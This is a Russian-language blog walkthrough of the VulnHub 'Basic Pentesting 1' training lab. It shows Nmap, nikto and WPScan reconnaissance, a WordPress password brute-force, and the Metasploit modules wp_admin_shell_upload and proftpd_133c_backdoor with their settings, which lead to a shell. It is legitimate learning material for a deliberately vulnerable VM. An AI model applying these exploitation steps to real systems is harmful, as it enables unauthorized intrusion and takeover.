VulnHub Basic Pentesting

в 16:31, , рубрики: ctf, kali linux, Metasploit, pentesting, vulnhub, информационная безопасность

VulnHub Basic Pentesting - 1

Всем доброго времени суток.

Многие из Вас знают о Пентесте, кто-то имел даже с ним дело, а кто-то только слышал и хотел бы почувствовать себя мини специалистом в этой области. Давным давно, а может и не давно, на VulnHub появилась лаборатория, посвященная как раз этому.

АКТ I — Настройка

Для работы я использовал Kali Linux и VirtualBox, ну и саму лабораторию of course.
Теперь нам нужно соединить 2 машины. Сделать это просто: открываем cmd и переходим в директорию, где установлен VirtualBox и прописываем настройки для VboxManage

Команды для настройки VBoxManage

cd C:Program FilesOracleVirtualBox

C:Program FilesOracleVirtualBox>VBoxManage.exe dhcpserver add --netname internet --ip 10.0.1.1 --netmask 255.255.255.0 --lowerip 10.0.1.2 --upperip 10.0.1.200 --enable> 

VulnHub Basic Pentesting - 2

Теперь в настройках Kali и Pentest мы ставим название той сети, которую написали в cmd

VulnHub Basic Pentesting - 3

АКТ II — In the beginning

Проверяем, видит ли Kali Linux нашу лабораторию.

VulnHub Basic Pentesting - 4

Видим подключение на eth0. Теперь нам нужно узнать конкретный IP нашей машины. Для этого воспользуемся небезызвестной программой Nmap

VulnHub Basic Pentesting - 5

IP нашей лаборатории 10.0.1.2

АКТ III — Basic Pentesting

После как Nmap просканировал нашу виртуальную сеть, мы увидели, что на лаборатории открыто 3 порта:

  • 21 — ftp
  • 22 — ssh
  • 80 — http

Пробуем подключиться по 80 порту. Для этого откроем браузер (в моем случае это FireFox)

VulnHub Basic Pentesting - 6

Отлично! Сайт работает. Давайте проверим, какие директории он от нас скрывает. Для этого воспользуемся замечательной программой nikto и посмотрим на результат.

VulnHub Basic Pentesting - 7

OSVDB-3092: /secret/: This might be interesting

Директория secret должна быть интересной. Давайте же узнаем, что она скрывает

VulnHub Basic Pentesting - 8

Выглядит, конечно, на 3 из 10, но это всё можно исправить, во имя красоты и удобства, естественно.

Самые внимательные, наверное, уже догадались, да и nikto с Nmap нам ни раз намекали.

 -  Uncommon header 'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>
 -  Nmap scan report for vtcsec (10.0.1.2)

Допишем в hosts название, через terminal:

# echo "10.0.1.2 vtcsec" >> /etc/hosts

Теперь-то мы готовы увидеть всю красоту сайта

VulnHub Basic Pentesting - 9

Теперь, как ищейки, смотрим все директории сайта, тыкаем на все, что тыкается и в конце узнаем, что сайт написан на WordPress. Да — да nikto нам и до этого говорил это, но легких путей мы не ищем.

Давайте же воспользуемся сканером уязвимостей WordPress — WPScan

# wpscan --url http://10.0.1.2/secret/

вывод WPScan

WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri — https://sucuri.net
@WPScan, @ethicalhack3r, @erwan_lr, pvdl, @FireFart


[+] URL: http://10.0.1.2/secret/
[+] Started: Thu Mar 8 17:47:02 2018
[!] The WordPress 'http://10.0.1.2/secret/readme.html' file exists exposing a version number
[+] Interesting header: LINK: http://vtcsec/secret/index.php/wp-json/; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://10.0.1.2/secret/xmlrpc.php
[!] Upload directory has directory listing enabled: http://10.0.1.2/secret/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://10.0.1.2/secret/wp-includes/
[+] WordPress version 4.9 (Released on 2017-11-15) identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers
[!] 6 vulnerabilities identified from the version number
[!] Title: WordPress 2.8.6-4.9 — Authenticated JavaScript File Upload
Reference: https://wpvulndb.com/vulnerabilities/8966
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
[i] Fixed in: 4.9.1
[!] Title: WordPress 1.5.0-4.9 — RSS and Atom Feed Escaping
Reference: https://wpvulndb.com/vulnerabilities/8967
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
[i] Fixed in: 4.9.1
[!] Title: WordPress 4.3.0-4.9 — HTML Language Attribute Escaping
Reference: https://wpvulndb.com/vulnerabilities/8968
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
[i] Fixed in: 4.9.1
[!] Title: WordPress 3.7-4.9 — 'newbloguser' Key Weak Hashing
Reference: https://wpvulndb.com/vulnerabilities/8969
Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
[i] Fixed in: 4.9.1
[!] Title: WordPress 3.7-4.9.1 — MediaElement Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/9006
Reference: https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
Reference: https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
Reference: https://core.trac.wordpress.org/ticket/42720
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
[i] Fixed in: 4.9.2
[!] Title: WordPress <= 4.9.4 — Application Denial of Service (DoS) (unpatched)
Reference: https://wpvulndb.com/vulnerabilities/9021
Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
Reference: https://github.com/quitten/doser.py
Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
[+] WordPress theme in use: twentyseventeen — v1.4
[+] Name: twentyseventeen — v1.4
| Latest version: 1.4 (up to date)
| Last updated: 2017-11-16T00:00:00.000Z
| Location: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/
| Readme: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/README.txt
| Style URL: http://10.0.1.2/secret/wp-content/themes/twentyseventeen/style.css
| Referenced style.css: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
| Theme Name: Twenty Seventeen
| Theme URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a…
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating plugins from passive detection…
[+] No plugins found
[+] Finished: Thu Mar 8 17:47:06 2018
[+] Requests Done: 89
[+] Memory used: 37.828 MB
[+] Elapsed time: 00:00:03

Хммм, а давайте попробуем перечислить все имена пользователей с помощью флага --enumerate u.

# wpscan --url http://10.0.1.2/secret/ --enumerate u

VulnHub Basic Pentesting - 10

Есть только один user. Значит, можно попробовать побрутить пароль.

# wpscan --url http://10.0.1.2/secret/ --wordlist /usr/share/wordlists/dirb/big.txt --threads 2

VulnHub Basic Pentesting - 11

К сожалению, наш брут не увенчался успехом, но мы увидели кое-что интересное — ошибка логина admin и пароля admin.

Надо будет попробовать провести exploit через Metasploit

АКТ IV — Admin is coming

Для начала нужно провести настройку Metasploit.

#/etc/init.d/postgresql start
# msfdb init

Стартуем!

# msfconsole

Нужно найти наш exploit. Воспользуемся командой search

# search admin

Из списка нам подходит wp_admin_shell_upload

Запускаем его и проводим настройку

# msf>use exploit/unix/webapp/wp_admin_shell_upload
# msf>set username admin
# msf>set password admin
# msf>set rhost 10.0.1.2
# msf>set targeturi /secret

Должно получиться так:

VulnHub Basic Pentesting - 12

Запуск!

VulnHub Basic Pentesting - 13

Переходим в браузер и заходим под admin/admin

VulnHub Basic Pentesting - 14

АКТ V — I see backdoor

Теперь попробуем получить доступ до terminal'а. Для этого опять нам понадобится Metasploit.

# msf>use exploit/unix/ftp/proftpd_133c_backdoor

Проводим настройку

# msf>set rhost 10.0.1.2

VulnHub Basic Pentesting - 15

Запуск! (вместо run можно использовать exploit)

VulnHub Basic Pentesting - 16

Тадааам, мы получили доступ до консоли.

Автор: OlegKocha

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js